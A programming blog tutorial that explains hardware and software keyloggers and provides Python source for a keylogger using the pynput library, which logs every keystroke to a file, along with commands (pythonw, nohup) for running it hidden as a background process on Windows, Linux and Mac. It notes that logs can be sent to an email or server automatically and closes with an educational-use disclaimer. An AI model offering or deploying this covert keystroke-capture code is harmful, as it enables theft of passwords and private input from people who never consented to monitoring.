Introduction
We usually give inputs to the computer using the keyboard. Well, what if there is something that can record the keystroke given through our keyboard? Whatever you type, a password or a username, it would record everything. You might be thinking it's a fantasy. No, it's not. A Keylogger can do all of those tasks hiddenly. Let me tell you what it really is.
There are two types of keylogger, Software Keylogger and Hardware Keylogger. Literally it tracks keystrokes and stores all the activity in a log file.
Let's first know about hardware keylogger. Imagine you went to a cyber cafe and opened your Gmail account using your username and password. It's possible, a hardware device has already recorded the credentials you provided without your knowledge. See below image for a better understanding. There is a keyboard connected to a USB device. It is a type of hardware keylogger.
There are other types of keylogger, which is Software Keylogger. It is a type of spyware. Hackers can run these programs on a device without the users knowledge. As a result, all information such as username, password, etc. can be stored in a log file and handed over to an unwanted person.
The log file generated by a keylogger program can be sent to an email address or a server automatically, see the different post on how to send emails using a python program.
In this tutorial, you will learn to create a simple keylogger program in python. This program will work for any Operating System.
👉Visit Also: Hack with Image: Extract Metadata from an Image using Python
Requirements
Before you copy the entire code, take a break here. Install pynput library which will allow you to control and monitor input deices.
☛Command: pip install pynput
The Code
# A simple Keylogger in Python
from pynput.keyboard import Key, Listener
import logging
# Give the directory path where You want to store the log file.
directory = "Enter the directory path: "
logging.basicConfig(filename = (directory + "log_details.txt"), \
level = logging.DEBUG, format = '%(asctime)s: %(message)s')
def listener(key):
logging.info(str(key))
# Define the on press
with Listener(on_press = listener) as ls:
ls.join()
Explanation of the Code
First, we import Key and Listener from the pynput module to monitor the keyboard.
logging module: This module has been used here to store keystrokes in a log file.
logging.basicConfig(): Through this function, we're setting the directory path where the log file will be stored. Then we mentioned the format according to which the log details will be saved.
listener(key): This function takes the key as a parameter, creates key presses definition, and stores it in a small text file.
str(key): It converts the key into a string.
with Listener(on_press = listener) as ls: Here, we're setting up an instance of Listener and defining the listener method in it. At last, we joined the instance to the main thread through this line: ls.join()
Run the program as a background process
You can run the keylogger program as a background process. Find out the way depending on your OS.
Windows
Use pythonw instead of python while running the program. The program will start running as a background process.
☛Command: pythonw keylogger.py
Linux
☛Command: nohup python3 keylogger.py &
nohup indicates No Hangup. It implies don't terminate any process if the parent process has been killed, and it will create a nohup.out file in the same directory where the program file is in.
Am Percent(&) indicates to run the program in the background.
Mac
Same as Linux.
☛Command: nohup python3 keylogger.py &
👉Visit Also: Wish Your Friends with Stylish TExt in Python
Summary
In today's lesson, we've discussed what a keylogger is, types of keylogger and a bit information of each. Next, we create a simple keylogger program using python. In this task, the pynput library helped us.
This tutorial is just for educational purposes. I tested this keylogger program only on my own computer. Please do not try it on anyone's computer without having their permission.
One thing to always remember, technology is good if you use it properly. - The Author
For any query related to this article, let me know in the comment section. You will get an immediate response.
Have a nice day ahead, cheers!
PySeek